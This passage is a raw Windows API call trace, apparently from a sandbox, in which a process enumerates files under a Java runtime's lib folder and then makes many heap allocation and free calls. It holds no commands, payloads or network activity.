ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="jvm.cfg", cAlternateFileName="")) returned 1 [0094.435] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="jvm.cfg", cAlternateFileName="")) returned 0 [0094.435] FindClose (in: hFindFile=0x4260410 | out: hFindFile=0x4260410) returned 1 [0094.435] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.435] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0094.436] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0094.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260310 [0094.437] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0094.437] FindNextFileW (in: hFindFile=0x4260310, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0094.437] FindClose (in: hFindFile=0x4260310 | out: hFindFile=0x4260310) returned 1 [0094.437] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.437] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0094.437] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa7bbd53, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa7bbd53, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e56fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="charsets.jar", cAlternateFileName="")) returned 1 [0094.437] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x14983, dwReserved0=0x0, dwReserved1=0x0, cFileName="classlist", cAlternateFileName="CLASSL~1")) returned 1 [0094.438] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cmm", cAlternateFileName="")) returned 1 [0094.438] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0094.438] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42604d0 [0094.438] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105e2a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0094.438] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc824, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CIEXYZ.pf", cAlternateFileName="")) returned 1 [0094.439] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GRAY.pf", cAlternateFileName="")) returned 1 [0094.439] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LINEAR_RGB.pf", cAlternateFileName="LINEAR~1.PF")) returned 1 [0094.439] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4302a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PYCC.pf", cAlternateFileName="")) returned 1 [0094.439] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sRGB.pf", cAlternateFileName="")) returned 1 [0094.439] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sRGB.pf", cAlternateFileName="")) returned 0 [0094.439] FindClose (in: hFindFile=0x42604d0 | out: hFindFile=0x42604d0) returned 1 [0094.439] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.439] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0094.439] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x101a, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.data", cAlternateFileName="CURREN~1.DAT")) returned 1 [0094.440] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy", cAlternateFileName="")) returned 1 [0094.440] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0094.440] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0094.441] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa10e432c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0094.441] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x374c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ffjcext.zip", cAlternateFileName="")) returned 1 [0094.441] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="messages.properties", cAlternateFileName="MESSAG~1.PRO")) returned 1 [0094.441] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="messages_de.properties", cAlternateFileName="MESSAG~2.PRO")) returned 1 [0094.442] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="messages_es.properties", cAlternateFileName="MESSAG~3.PRO")) returned 1 [0094.442] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="messages_fr.properties", cAlternateFileName="MESSAG~4.PRO")) returned 1 [0094.442] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc97, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="messages_it.properties", cAlternateFileName="MEC9EA~1.PRO")) returned 1 [0094.442] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18cd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="messages_ja.properties", cAlternateFileName="ME4AF1~1.PRO")) returned 1 [0094.442] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1650, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="messages_ko.properties", cAlternateFileName="ME1706~1.PRO")) returned 1 [0094.445] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.445] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0094.454] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.457] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.936] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0094.938] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.939] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42cbea0 | out: hHeap=0x440000) returned 1 [0094.942] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42cbea0 | out: hHeap=0x440000) returned 1 [0094.945] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42cbea0 | out: hHeap=0x440000) returned 1 [0094.945] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0094.945] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0094.947] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4263e68 | out: hHeap=0x440000) returned 1 [0094.948] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42cbea0 | out: hHeap=0x440000) returned 1 [0094.954] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42cbea0 | out: hHeap=0x440000) returned 1 [0094.957] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42fbeb0 | out: hHeap=0x440000) returned 1 [0095.820] HeapFree (hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050) [0095.820] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0095.825] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0095.825] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0095.826] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42fbeb0 | out: hHeap=0x440000) returned 1 [0096.218] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42fbeb0 | out: hHeap=0x440000) returned 1 [0096.221] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42fbeb0 | out: hHeap=0x440000) returned 1 [0096.226] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42fbeb0 | out: hHeap=0x440000) returned 1 [0096.226] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0096.230] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0096.234] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0096.241] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0098.452] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0098.452] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0098.455] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0098.455] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0098.456] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0098.458] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0098.458] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0100.170] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eeef0 | out: hHeap=0x440000) returned 1 [0100.172] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eeef0 | out: hHeap=0x440000) returned 1 [0100.189] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eeef0 | out: hHeap=0x440000) returned 1 [0100.198] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eeef0 | out: hHeap=0x440000) returned 1 [0100.201] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eeef0 | out: hHeap=0x440000) returned 1 [0100.207] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0100.208] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0100.208] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0100.208] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0100.210] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0100.430] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0100.432] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0100.433] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0100.436] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0100.437] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0100.439] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.806] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.809] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.811] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.926] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.928] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.930] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.932] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.932] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.934] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.936] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.943] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.947] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.949] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.951] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.956] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.957] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.960] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.961] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.964] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.965] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.967] HeapFree 